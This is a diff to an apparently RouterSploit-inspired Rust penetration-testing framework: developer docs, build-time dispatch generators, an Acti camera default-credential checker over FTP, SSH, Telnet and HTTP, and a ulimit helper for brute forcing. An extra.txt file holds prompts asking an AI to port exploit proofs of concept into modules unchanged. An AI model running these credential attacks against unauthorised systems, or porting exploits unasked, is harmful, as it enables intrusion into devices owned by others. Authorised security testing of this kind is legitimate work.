+│   ├── rtsp-paths.txt
+│   └── rtsphead.txt
+└── README.md                # Product overview
+```
+
+Key takeaway: modules are just Rust files under `src/modules/**`. Add `pub mod my_module;` in the local `mod.rs`, and the build script handles the rest.
+
+---
+
+## Build Pipeline & Module Discovery
+
+1. **`build.rs` scan:** Before compilation, build.rs walks `src/modules` (depth-limited) looking for `.rs` files that are not `mod.rs`.
+2. **Signature detection:** If a file exposes `pub async fn run(`, it is treated as a callable module.
+3. **Name generation:** Both a *short name* (`ssh_bruteforce`) and *qualified path* (`creds/generic/ssh_bruteforce`) are registered.
+4. **Dispatcher emission:** Three files (`exploit_gen.rs`, `scanner_gen.rs`, `creds_gen.rs`) are emitted with exhaustive `match` statements that map names → `use crate::modules::...::run`.
+5. **Shell + CLI usage:** When users invoke `use exploits/foo` or `--module foo`, the dispatcher resolves the actual function.
+
+Because the dispatcher is generated at build time, there is no manual registry drift as long as modules live in the right folder and export `run`.
+
+---
+
+## Shell Architecture
+
+The shell lives in `src/shell.rs`. Highlights:
+
+- **Context:** `ShellContext` stores `current_module`, `current_target`, the loaded `proxy_list`, and `proxy_enabled` boolean.
+- **Prompt helpers:** Inline functions prompt for paths, yes/no decisions, timeouts, etc.
+- **Shortcut parsing:** `split_command` + `resolve_command` normalize input (e.g., `f1 ssh`, `pon`, `ptest`) to canonical keys.
+- **Command palette:** `render_help()` prints a colorized table for quick reference.
+- **Proxy tests:** `proxy_test` command triggers async validation via utils.
+- **Run pipeline:** On `run`/`go`, the shell enforces:
+  - Module selected
+  - Target set
+  - Proxy state respected (rotate until success or fallback direct)
+  - Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) set/cleared per attempt
+- **State reset:** On exit, nothing is persisted intentionally for OPSEC.
+
+Extensions (tab completion, history) can be added by wrapping the loop with a line-editor crate, but are omitted today to keep dependencies minimal.
+
+---
+
+## Proxy Subsystem
+
+Implemented in `utils.rs` and surfaced in the shell.
+
+- **Loader:** `load_proxies_from_file` reads lists, normalizes schemes (defaulting to `http://`), validates host/port via `Url`, and tolerates comments or blank lines. Returns both valid entries and a list of parse errors (line number, reason).
+- **Supported schemes:** `http`, `https`, `socks4`, `socks4a`, `socks5`, `socks5h`.
+- **Tester:** `test_proxies` concurrently (Tokio) checks a user-chosen URL using `reqwest::Proxy::all`. Configurable timeout and max concurrency.
+- **Result:** Working proxies are retained; failures are reported with the reason (connection refused, invalid cert, etc.).
+- **Integration:** Shell invites the user to validate immediately after loading; `proxy_test` can also be used on demand.
+
+Proxies are set globally via environment variables so both module HTTP requests and low-level sockets (if they honor `ALL_PROXY`) benefit.
+
+---
+
+## Command-Line Interface
+
+`src/cli.rs` uses Clap to expose three commands:
+
+- `--command exploit|scanner|creds`
+- `--module <name>` (short or qualified, same mapping as the shell)
+- `--target <host|IP>`
+
+Example:
+
+```bash
+cargo run -- --command exploit --module heartbleed --target 203.0.113.12
+```
+
+If the module needs additional parameters, it can prompt interactively (e.g., brute-force modules ask for wordlists even in CLI mode). For automated pipelines, modules should provide sensible defaults or accept environment variables.
+
+---
+
+## Authoring Modules
+
+Every module must export:
+
+```rust
+use anyhow::Result;
+
+pub async fn run(target: &str) -> Result<()> {
+    // ...
+    Ok(())
+}
+```
+
+Guidelines:
+
+1. **Location:** choose one of `src/modules/{exploits,scanners,creds}`. Use subfolders for vendor families (e.g., `exploits/cisco/`).
+2. **`mod.rs`:** add `pub mod your_module;` in the sibling `mod.rs`. Without this, the build script ignores the file.
+3. **Async I/O:** prefer `reqwest`, `tokio::net`, `tokio::process`, etc. Synchronous blocking code should be wrapped with `tokio::task::spawn_blocking` where possible (see SSH module).
+4. **Logging:** leverage `colored` for clarity, but keep messages short and actionable. Use `[+]`, `[-]`, `[!]`, `[*]` prefixes consistently.
+5. **Error handling:** bubble up with context (`anyhow::Context`) so the shell/CLI surface meaningful errors.
+6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
+7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
+
+### Example skeleton
+
+```rust
+use anyhow::{Context, Result};
+
+pub async fn run(target: &str) -> Result<()> {
+    println!("[*] Checking {}", target);
+
+    let url = format!("http://{}/status", target);
+    let body = reqwest::get(&url)
+        .await
+        .with_context(|| format!("failed to reach {}", url))?
+        .text()
+        .await
+        .context("failed to fetch body")?;
+
+    if body.contains("vulnerable") {
+        println!("[+] {} appears vulnerable", target);
+    } else {
+        println!("[-] {} not vulnerable", target);
+    }
+
+    Ok(())
+}
+```
+
+---
+
+## Credential Modules: Best Practices
+
+Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP follow shared patterns:
+
+- **Input prompts:** ask for port, username/password wordlists, concurrency limit, stop-on-success toggle, output file, verbose logging.
+- **Sanitation:** trim wordlist entries, skip blanks, provide early exits if lists are empty.
+- **Concurrency:**
+  - Use `tokio::Semaphore` for asynchronous modules (FTP, SSH).
+  - Use `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3, SMTP).
+- **Adaptive throttling:** Some modules (FTP) sample CPU/RAM to avoid saturating the host.
+- **TLS/STARTTLS:** Accept invalid certs for offensive tooling convenience, but note this clearly.
+- **Result persistence:** Offer to write `host -> user:pass` pairs to a local file (in `./` by default).
+- **IPv6:** Use helpers like `format_addr` to wrap IPv6 addresses in brackets and support port suffixes.
+
+---
+
+## Exploit Modules: Best Practices
+
+- **CVE referencing:** mention CVE IDs and vendor/product in comments and output.
+- **Artifact handling:** If the exploit downloads or writes files (e.g., Heartbleed dump), store them in the current working directory or a named subfolder.
+- **Clean-up:** If credentials or accounts are added (Abus camera module), explain the impact and clean-up instructions in output or comments.
+- **Safety checks:** Validate responses before declaring success; false positives hurt credibility.
+- **Options:** Use `prompt_*` helpers (borrow from existing modules) if end-user input is needed (e.g., RTSP advanced headers, extra path lists).
+
+---
+
+## Utilities & Helpers
+
+`src/utils.rs` provides:
+
+- `normalize_target`: wrap IPv6 addresses in brackets, pass through IPv4/hosts untouched.
+- `module_exists` / `list_all_modules` / `find_modules`: used by shell to present module inventory.
+- Proxy helpers described earlier (`load_proxies_from_file`, `test_proxies`, etc.).
+
+Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
+
+---
+
+## Testing & QA
+
+1. **Static checks:** `cargo fmt` and `cargo clippy` (where available).
+2. **Build:** `cargo check` ensures new modules compile.
+3. **Runtime smoke tests:**
+   - Shell: `cargo run` → `modules` → run a harmless module (e.g., `scanners/sample_scanner`).
+   - CLI: `cargo run -- --command scanner --module sample_scanner --target 127.0.0.1`.
+4. **Proxy validation:** Load a mixed proxy file and confirm `proxy_test` filters entries correctly.
+5. **Wordlists:** Validate that required lists exist (e.g., RTSP paths) and are referenced in docstrings.
+
+When adding new modules, include short usage documentation (stdout prints, README notes) so other operators know how to drive them.
+
+---
+
+## Roadmap & Ideas
+
+- Interactive shell improvements (history, tab completion, colored banners)
+- Automated module testing harness (mock servers for POP3/SMTP/RTSP)
+- Credential module templates (derive-style macros for common prompts)
+- Integration with external wordlists (dynamic download or git submodules)
+- Session logging (`tee` support) and output JSON export for pipeline ingestion
+- Transport abstractions for UDP/DoS modules
+
+Contributions are welcome—open an issue or start a discussion before large refactors.
+
+---
+
+Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !*** End Patch

extra.txt

@@ -0,0 +1,79 @@
+Required Signature
+
+The module must contain this exact public async function:
+
+pub async fn run(target: &str) -> anyhow::Result<()>
+
+Or any variant like:
+
+pub async fn run(_target: &str) -> anyhow::Result<()>
+
+Or even:
+
+pub async fn run(host: &str) -> anyhow::Result<()>
+
+
+Refactor this module to work with the auto-dispatch system. Do not remove any functionality or features. Make sure it defines a pub async fn run(target: &str) -> Result<()> entry point that internally calls the correct logic. Rename any conflicting functions if needed, but preserve all capabilities and structure.
+
+
+Refactor this code to a Rust module  so that it fully integrates into my RouterSploit-inspired Rust auto-dispatch framework.
+
+    ✅ Preserve all functionality and existing logic — do not remove or simplify any capabilities.
+
+    ✅ Ensure the module defines a pub async fn run(target: &str) -> Result<()> entry point.
+
+        All internal logic must be routed through this function.
+
+    ✅ If any internal function is named run and conflicts with the dispatch entry, rename it (e.g. to execute, exploit, etc.) — but do not change logic.
+
+    ✅ The module must compile, follow anyhow::Result<()>, and use proper error propagation (? operator).
+
+    ✅ Do not add placeholders, pseudocode, or stubs — this must be real working Rust code.
+
+    ✅ Use async/await and retain all networking, parsing, and exploit behavior from the original logic.
+
+    ✅ Keep the code idiomatic and modular — preserve structure, variable naming, and async HTTP usage.
+
+    ✅ If necessary, clean up variable scoping or imports, but never remove real features.
+
+    ✅ keep all comments from the orginal but add two / before comments
+
+    ✅ only use the poc and it must be a 1 to 1 convertion
+
+Here is the original module that needs to be refactored:
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+gemini
+
+You are a senior Rust developer specializing in cross-platform, asynchronous hardware drivers. Your assignment is to develop a complete, production-grade Lovense device driver for Linux, written in Rust, using only information from official Lovense documentation and protocol references.
+
+Strict Requirements:
+
+    The code must be 100% pure Rust, fully compatible with Linux operating systems.
+
+    The entire driver must use asynchronous Rust throughout (async/await and appropriate crates), enabling non-blocking, concurrent communication with multiple devices.
+
+    Do not include any comments, explanations, docstrings, sample usage, placeholder code, TODOs, or example outputs. The output must be only the actual source code required for a complete and functional driver.
+
+    The output must be a single, fully compilable Rust source file, containing all necessary use statements, async functions, modules, structs, enums, and logic to support end-to-end operation.
+
+ 

lists/about.txt

@@ -1 +0,0 @@
-just lists like word lists

lists/readme.md

@@ -0,0 +1,33 @@
+# 📚 Rustsploit Data Files
+
+This directory contains reference lists and helper payloads consumed by modules under `src/modules/**`. Keep this README up to date whenever a new list is added so operators understand the expected format and typical usage.
+
+---
+
+## Available Files
+
+| File | Used By | Description |
+|------|---------|-------------|
+| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
+| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables “advanced headers,” the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
+
+---
+
+## Contributing Lists
+
+1. **Naming:** Use lowercase and hyphens (`my-new-list.txt`) to remain compatible across platforms.
+2. **Format:** Prefer plain UTF-8 text. Comment lines should start with `#` or `//` so loaders can skip them.
+3. **Documentation:** Update this README with a row describing the file, the consuming module, and expected contents.
+4. **Usage in modules:** Reference lists with relative paths or prompt the user for the filename. Most modules expect the user to supply the path (allowing custom lists), but shipping defaults in this directory helps bootstrap new users.
+5. **Attribution:** If a list leverages community sources (e.g., SecLists), note that in the table and ensure licenses permit redistribution.
+
+---
+
+## Ideas for Future Lists
+
+- `ftp-default-creds.txt` for anonymous login checks
+- `telnet-banners.txt` to fingerprint devices before brute forcing
+- `http-admin-panels.txt` for web interface discovery scanners
+- Vendor-specific RTSP or ONVIF endpoint lists
+
+Pull requests welcome—please include both the data file and an entry here. !*** End Patch

src/commands/creds.rs

@@ -1,31 +1,7 @@
-use anyhow::{Result, bail};
+use anyhow::Result;
 
-// Import all available credential modules
-use crate::modules::creds::{
-    generic::{
-        ftp_anonymous,
-        ftp_bruteforce,
-        sample_cred_check,
-        telnet_bruteforce,
-        ssh_bruteforce,
-        rtsp_bruteforce_advanced,
-    },
-    camera::acti::acti_camera_default,
-};
+include!(concat!(env!("OUT_DIR"), "/creds_dispatch.rs"));
 
-/// Dispatch function for credential modules
 pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
-    match module_name {
-        "generic/sample_cred_check"        => sample_cred_check::run(target).await?,
-        "generic/ftp_bruteforce"           => ftp_bruteforce::run(target).await?,
-        "generic/ftp_anonymous"            => ftp_anonymous::run(target).await?,
-        "generic/telnet_bruteforce"        => telnet_bruteforce::run(target).await?,
-        "generic/ssh_bruteforce"           => ssh_bruteforce::run(target).await?,
-        "generic/rtsp_bruteforce_advanced" => rtsp_bruteforce_advanced::run(target).await?,
-        "camera/acti/acti_camera_default"  => acti_camera_default::run(target).await?,
-
-        _ => bail!("Creds module '{}' not found.", module_name),
-    }
-
-    Ok(())
+    dispatch(module_name, target).await
 }

src/commands/creds_gen.rs

@@ -0,0 +1,81 @@
+use std::collections::HashSet;
+use std::env;
+use std::fs::{self, File};
+use std::io::Write;
+use std::path::{Path, PathBuf};
+
+fn main() {
+    let out_dir = env::var("OUT_DIR").unwrap();
+    // Keep dispatch file naming consistent with build.rs
+    let dest_path = Path::new(&out_dir).join("creds_dispatch.rs");
+    let mut file = File::create(&dest_path).unwrap();
+
+    let creds_root = Path::new("src/modules/creds");
+
+    let mut mappings: HashSet<(String, String)> = HashSet::new();
+
+    // Traverse all .rs files (excluding mod.rs)
+    visit_all_rs(creds_root, "".to_string(), &mut mappings).unwrap();
+
+    // Generate dispatch function
+    writeln!(
+        file,
+        "pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n    match module_name {{"
+    ).unwrap();
+
+    for (key, mod_path) in &mappings {
+        let short_key = key.rsplit('/').next().unwrap_or(&key);
+        let mod_code_path = mod_path.replace("/", "::");
+
+        writeln!(
+            file,
+            r#"        "{short}" | "{full}" => {{ crate::modules::creds::{path}::run(target).await? }},"#,
+            short = short_key,
+            full = key,
+            path = mod_code_path
+        ).unwrap();
+    }
+
+    writeln!(
+        file,
+        r#"        _ => anyhow::bail!("Cred module '{{}}' not found.", module_name),"#
+    ).unwrap();
+
+    writeln!(file, "    }}\n    Ok(())\n}}").unwrap();
+}
+
+/// Recursively scan `src/modules/creds/` and find all `.rs` files (excluding `mod.rs`)
+fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
+    if dir.is_dir() {
+        for entry in fs::read_dir(dir)? {
+            let entry = entry?;
+            let path = entry.path();
+            let file_name = entry.file_name().to_string_lossy().into_owned();
+
+            if path.is_dir() {
+                let sub_prefix = if prefix.is_empty() {
+                    file_name.clone()
+                } else {
+                    format!("{}/{}", prefix, file_name)
+                };
+                visit_all_rs(&path, sub_prefix, mappings)?;
+            } else if path.extension().map_or(false, |e| e == "rs") {
+                if file_name == "mod.rs" {
+                    continue;
+                }
+
+                let file_stem = path.file_stem().unwrap().to_string_lossy();
+                let mod_path = if prefix.is_empty() {
+                    file_stem.to_string()
+                } else {
+                    format!("{}/{}", prefix, file_stem)
+                };
+
+                if mappings.insert((mod_path.clone(), mod_path.clone())) {
+                    println!("✅ Found cred module: {}", mod_path);
+                }
+            }
+        }
+    }
+    Ok(())
+}

src/commands/exploit.rs

@@ -1,20 +1,7 @@
-// src/commands/exploit.rs  (dispatcher)
+use anyhow::Result;
 
-use anyhow::{Result, bail};
-use crate::modules::exploits::{self, payloadgens};
+include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
 
 pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
-    match module_name {
-        // ───────────── standard exploits ─────────────
-        "sample_exploit"                        |
-        "exploits/sample_exploit"                  => exploits::sample_exploit::run(target).await?,
-
-        // ───────── payload generators (nested) ───────
-        "payloadgenbat"                          |      // short alias
-        "payloadgens/payloadgenbat"              |      // full path users type in shell/CLI
-        "exploits/payloadgens/payloadgenbat"        => payloadgens::payloadgenbat::run(target).await?,
-
-        _ => bail!("Exploit module '{}' not found.", module_name),
-    }
-    Ok(())
+    dispatch(module_name, target).await
 }

src/commands/exploit_gen.rs

@@ -0,0 +1,81 @@
+use std::collections::HashSet;
+use std::env;
+use std::fs::{self, File};
+use std::io::Write;
+use std::path::{Path, PathBuf};
+
+fn main() {
+    let out_dir = env::var("OUT_DIR").unwrap();
+    let dest_path = Path::new(&out_dir).join("exploit_dispatch.rs");
+    let mut file = File::create(&dest_path).unwrap();
+
+    let exploits_root = Path::new("src/modules/exploits");
+
+    let mut mappings: HashSet<(String, String)> = HashSet::new();
+
+    // Traverse all .rs files (excluding mod.rs)
+    visit_all_rs(exploits_root, "".to_string(), &mut mappings).unwrap();
+
+    // Start generating dispatch code
+    writeln!(
+        file,
+        "pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n    match module_name {{"
+    ).unwrap();
+
+    for (key, mod_path) in &mappings {
+        let short_key = key.rsplit('/').next().unwrap_or(&key);
+        let mod_code_path = mod_path.replace("/", "::");
+
+        writeln!(
+            file,
+            r#"        "{short}" | "{full}" => {{ crate::modules::exploits::{path}::run(target).await? }},"#,
+            short = short_key,
+            full = key,
+            path = mod_code_path
+        ).unwrap();
+    }
+
+    writeln!(
+        file,
+        r#"        _ => anyhow::bail!("Exploit module '{{}}' not found.", module_name),"#
+    ).unwrap();
+
+    writeln!(file, "    }}\n    Ok(())\n}}").unwrap();
+}
+
+/// Recursively walk through directories, find all .rs files excluding mod.rs
+fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
+    if dir.is_dir() {
+        for entry in fs::read_dir(dir)? {
+            let entry = entry?;
+            let path = entry.path();
+            let file_name = entry.file_name().to_string_lossy().into_owned();
+
+            if path.is_dir() {
+                let sub_prefix = if prefix.is_empty() {
+                    file_name.clone()
+                } else {
+                    format!("{}/{}", prefix, file_name)
+                };
+                visit_all_rs(&path, sub_prefix, mappings)?;
+            } else if path.extension().map_or(false, |e| e == "rs") {
+                if file_name == "mod.rs" {
+                    continue;
+                }
+
+                let file_stem = path.file_stem().unwrap().to_string_lossy();
+                let mod_path = if prefix.is_empty() {
+                    file_stem.to_string()
+                } else {
+                    format!("{}/{}", prefix, file_stem)
+                };
+
+                // Add to mappings if not already added
+                if mappings.insert((mod_path.clone(), mod_path.clone())) {
+                    println!("✅ Found exploit: {}", mod_path);
+                }
+            }
+        }
+    }
+    Ok(())
+}

src/commands/mod.rs

@@ -5,15 +5,17 @@ pub mod creds;
 use anyhow::Result;
 use crate::cli::Cli;
 use walkdir::WalkDir;
+use crate::utils::normalize_target;
 
-/// Handle CLI commands like: --command exploit --module creds/generic/ftp_anonymous --target x.x.x.x
+/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
 pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
-    let target = cli_args.target.clone().unwrap_or_default();
+    let raw = cli_args.target.clone().unwrap_or_default();
+    let target = normalize_target(&raw)?; // IPv6 wrap only, no port
     let module = cli_args.module.clone().unwrap_or_default();
 
     match command {
         "exploit" => {
-            let trimmed = module.trim_start_matches("exploits/"); // normalize
+            let trimmed = module.trim_start_matches("exploits/");
             exploit::run_exploit(trimmed, &target).await?;
         },
         "scanner" => {
@@ -32,60 +34,63 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
     Ok(())
 }
 
-/// Called from the interactive shell (e.g. 'use creds/generic/ftp_anonymous' + 'run')
-pub async fn run_module(module_path: &str, target: &str) -> Result<()> {
+/// Interactive shell: handles `run` with raw target string
+pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
     let available = discover_modules();
 
-    if !available.contains(&module_path.to_string()) {
-        eprintln!("Unknown module '{}'. Available modules:", module_path);
-        for module in available {
-            println!("  {}", module);
+    let full_match = available.iter().find(|m| m == &module_path);
+    let short_match = available.iter().find(|m| {
+        m.rsplit_once('/')
+            .map(|(_, short)| short == module_path)
+            .unwrap_or(false)
+    });
+
+    let resolved = if let Some(m) = full_match {
+        m
+    } else if let Some(m) = short_match {
+        m
+    } else {
+        eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
+        for m in available {
+            println!("  {}", m);
         }
         return Ok(());
-    }
+    };
 
-    // Split path like "creds/generic/ftp_anonymous" -> ("creds", "generic/ftp_anonymous")
-    let mut parts = module_path.splitn(2, '/');
+    let target = normalize_target(raw_target)?;
+
+    let mut parts = resolved.splitn(2, '/');
     let category = parts.next().unwrap_or("");
     let module_name = parts.next().unwrap_or("");
 
     match category {
-        "exploits" => {
-            exploit::run_exploit(module_name, target).await?;
-        },
-        "scanners" => {
-            scanner::run_scan(module_name, target).await?;
-        },
-        "creds" => {
-            creds::run_cred_check(module_name, target).await?;
-        },
-        _ => {
-            eprintln!("Category '{}' is not supported.", category);
-        }
+        "exploits" => exploit::run_exploit(module_name, &target).await?,
+        "scanners" => scanner::run_scan(module_name, &target).await?,
+        "creds"    => creds::run_cred_check(module_name, &target).await?,
+        _ => eprintln!("❌ Category '{}' is not supported.", category),
     }
 
     Ok(())
 }
 
-/// Discover modules in src/modules/{exploits,scanners,creds} recursively up to 6 levels deep
+/// Finds all .rs module paths inside `src/modules/**`, excluding mod.rs
 pub fn discover_modules() -> Vec<String> {
     let mut modules = Vec::new();
-
     let categories = ["exploits", "scanners", "creds"];
 
-    for category in categories {
-        let base_path = format!("src/modules/{}", category);
-        let walker = WalkDir::new(&base_path).max_depth(6);
-
-        for entry in walker.into_iter().filter_map(|e| e.ok()) {
-            let path = entry.path();
-
-            if path.is_file() && path.extension().map(|e| e == "rs").unwrap_or(false) {
-                if let Ok(relative) = path.strip_prefix("src/modules") {
-                    let module_path = relative
-                        .with_extension("") // remove .rs
+    for category in &categories {
+        let base = format!("src/modules/{}", category);
+        for entry in WalkDir::new(&base).max_depth(6).into_iter().filter_map(|e| e.ok()) {
+            let p = entry.path();
+            if p.is_file()
+                && p.extension().map_or(false, |e| e == "rs")
+                && p.file_name().map_or(true, |n| n != "mod.rs")
+            {
+                if let Ok(rel) = p.strip_prefix("src/modules") {
+                    let module_path = rel
+                        .with_extension("")
                         .to_string_lossy()
-                        .replace("\\", "/"); // Windows compatibility
+                        .replace("\\", "/");
                     modules.push(module_path);
                 }
             }

src/commands/scanner.rs

@@ -1,13 +1,7 @@
 use anyhow::Result;
-use crate::modules::scanners;
+
+include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
 
 pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
-    match module_name {
-        "sample_scanner" => {
-            scanners::sample_scanner::run(target).await?;
-        },
-        // Add more scanner modules here ...
-        _ => eprintln!("Scanner module '{}' not found.", module_name),
-    }
-    Ok(())
+    dispatch(module_name, target).await
 }

src/commands/scanner_gen.rs

@@ -0,0 +1,81 @@
+use std::collections::HashSet;
+use std::env;
+use std::fs::{self, File};
+use std::io::{Write};
+use std::path::{Path, PathBuf};
+
+fn main() {
+    let out_dir = env::var("OUT_DIR").unwrap();
+    let dest_path = Path::new(&out_dir).join("scanner_dispatch.rs");
+    let mut file = File::create(&dest_path).unwrap();
+
+    let scanners_root = Path::new("src/modules/scanners");
+
+    let mut mappings: HashSet<(String, String)> = HashSet::new();
+
+    // Traverse all .rs files (excluding mod.rs)
+    visit_all_rs(scanners_root, "".to_string(), &mut mappings).unwrap();
+
+    // Start generating dispatch code
+    writeln!(
+        file,
+        "pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n    match module_name {{"
+    ).unwrap();
+
+    for (key, mod_path) in &mappings {
+        let short_key = key.rsplit('/').next().unwrap_or(&key);
+        let mod_code_path = mod_path.replace("/", "::");
+
+        writeln!(
+            file,
+            r#"        "{short}" | "{full}" => {{ crate::modules::scanners::{path}::run(target).await? }},"#,
+            short = short_key,
+            full = key,
+            path = mod_code_path
+        ).unwrap();
+    }
+
+    writeln!(
+        file,
+        r#"        _ => anyhow::bail!("Scanner module '{{}}' not found.", module_name),"#
+    ).unwrap();
+
+    writeln!(file, "    }}\n    Ok(())\n}}").unwrap();
+}
+
+/// Recursively walk through directories, find all .rs files excluding mod.rs
+fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
+    if dir.is_dir() {
+        for entry in fs::read_dir(dir)? {
+            let entry = entry?;
+            let path = entry.path();
+            let file_name = entry.file_name().to_string_lossy().into_owned();
+
+            if path.is_dir() {
+                let sub_prefix = if prefix.is_empty() {
+                    file_name.clone()
+                } else {
+                    format!("{}/{}", prefix, file_name)
+                };
+                visit_all_rs(&path, sub_prefix, mappings)?;
+            } else if path.extension().map_or(false, |e| e == "rs") {
+                if file_name == "mod.rs" {
+                    continue;
+                }
+
+                let file_stem = path.file_stem().unwrap().to_string_lossy();
+                let mod_path = if prefix.is_empty() {
+                    file_stem.to_string()
+                } else {
+                    format!("{}/{}", prefix, file_stem)
+                };
+
+                // Add to mappings if not already added
+                if mappings.insert((mod_path.clone(), mod_path.clone())) {
+                    println!("✅ Found scanner: {}", mod_path);
+                }
+            }
+        }
+    }
+    Ok(())
+}

src/modules/creds/camera/acti/acti_camera_default.rs

@@ -6,6 +6,8 @@ use telnet::{Telnet, Event};
 use std::{net::TcpStream, time::Duration};
 use tokio::{join, task};
 
+
+
 #[allow(dead_code)]
 /// Supported Acti services
 pub enum ServiceType {
@@ -25,6 +27,16 @@ pub struct Config {
     pub verbosity: bool,
 }
 
+/// Helper to normalize IPv4, IPv6 (with any amount of brackets)
+fn normalize_target(target: &str, port: u16) -> String {
+    let cleaned = target.trim_matches(|c| c == '[' || c == ']');
+    if cleaned.contains(':') && !cleaned.contains('.') {
+        format!("[{}]:{}", cleaned, port) // IPv6
+    } else {
+        format!("{}:{}", cleaned, port) // IPv4 or hostname
+    }
+}
+
 /// FTP check (async)
 pub async fn check_ftp(config: &Config) -> Result<()> {
     println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
@@ -34,7 +46,7 @@ pub async fn check_ftp(config: &Config) -> Result<()> {
             println!("[*] Trying FTP: {}:{}", username, password);
         }
 
-        let address = format!("{}:{}", config.target, config.port);
+        let address = normalize_target(&config.target, config.port);
         match FtpStream::connect(address).await {
             Ok(mut ftp) => {
                 if ftp.login(username, password).await.is_ok() {
@@ -53,7 +65,7 @@ pub async fn check_ftp(config: &Config) -> Result<()> {
     Ok(())
 }
 
-/// SSH check (blocking, so we use spawn_blocking in our run function)
+/// SSH check (blocking, so we use spawn_blocking)
 pub fn check_ssh_blocking(config: &Config) -> Result<()> {
     println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
 
@@ -62,7 +74,7 @@ pub fn check_ssh_blocking(config: &Config) -> Result<()> {
             println!("[*] Trying SSH: {}:{}", username, password);
         }
 
-        let address = format!("{}:{}", config.target, config.port);
+        let address = normalize_target(&config.target, config.port);
         if let Ok(stream) = TcpStream::connect(address) {
             let mut session = Session::new().context("Failed to create SSH session")?;
             session.set_tcp_stream(stream);
@@ -81,7 +93,7 @@ pub fn check_ssh_blocking(config: &Config) -> Result<()> {
     Ok(())
 }
 
-/// Telnet check (blocking, so we use spawn_blocking in our run function)
+/// Telnet check (blocking)
 pub fn check_telnet_blocking(config: &Config) -> Result<()> {
     println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
 
@@ -90,7 +102,15 @@ pub fn check_telnet_blocking(config: &Config) -> Result<()> {
             println!("[*] Trying Telnet: {}:{}", username, password);
         }
 
-        if let Ok(mut telnet) = Telnet::connect((config.target.as_str(), config.port), 500) {
+        let address = normalize_target(&config.target, config.port);
+        let parts: Vec<&str> = address.rsplitn(2, ':').collect();
+        if parts.len() != 2 {
+            continue;
+        }
+        let host = parts[1];
+        let port: u16 = parts[0].parse().unwrap_or(23);
+
+        if let Ok(mut telnet) = Telnet::connect((host, port), 500) {
             let _ = telnet.write(format!("{}\r\n", username).as_bytes());
             let _ = telnet.write(format!("{}\r\n", password).as_bytes());
 
@@ -122,7 +142,7 @@ pub async fn check_http_form(config: &Config) -> Result<()> {
         .timeout(Duration::from_secs(5))
         .build()?;
 
-    let url = format!("http://{}:{}/video.htm", config.target, config.port);
+    let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
 
     for (username, password) in &config.credentials {
         if config.verbosity {
@@ -179,21 +199,17 @@ pub async fn run(target: &str) -> Result<()> {
     let telnet_conf = Config { port: 23, ..base_config.clone() };
     let http_conf   = Config { port: 80, ..base_config.clone() };
 
-    // Start all checks in parallel
     let (ftp_res, ssh_res, telnet_res, http_res) = join!(
         check_ftp(&ftp_conf),
         async {
-            // run blocking ssh check in separate thread
             task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
         },
         async {
-            // run blocking telnet check in separate thread
             task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
         },
         check_http_form(&http_conf),
     );
 
-    // Evaluate results
     ftp_res?;
     ssh_res?;
     telnet_res?;

src/modules/creds/generic/enablebruteforce.rs

@@ -0,0 +1,41 @@
+use anyhow::{Result, anyhow};
+use std::process::Command;
+
+/// Module entry point for raising ulimit
+pub async fn run(_target: &str) -> Result<()> {
+    raise_ulimit().await
+}
+
+/// Raise ulimit to 65535
+async fn raise_ulimit() -> Result<()> {
+    println!("[*] Attempting to raise open file limit (ulimit -n 65535)");
+
+    // Try to set limit using bash
+    let output = Command::new("bash")
+        .arg("-c")
+        .arg("ulimit -n 65535")
+        .output()
+        .map_err(|e| anyhow!("Failed to run bash: {}", e))?;
+
+    if !output.status.success() {
+        println!("[-] Warning: Could not change ulimit. (maybe run as root?)");
+    } else {
+        println!("[+] Successfully ran ulimit -n 65535.");
+    }
+
+    // Check current limit
+    let check_output = Command::new("bash")
+        .arg("-c")
+        .arg("ulimit -n")
+        .output()
+        .map_err(|e| anyhow!("Failed to check ulimit: {}", e))?;
+
+    if check_output.status.success() {
+        let limit = String::from_utf8_lossy(&check_output.stdout);
+        println!("[+] Current open file limit: {}", limit.trim());
+    } else {
+        println!("[-] Warning: Could not verify new ulimit.");
+    }
+
+    Ok(())
+}

src/modules/creds/generic/ftp_anonymous.rs

@@ -1,63 +1,87 @@
-use anyhow::{Context, Result};
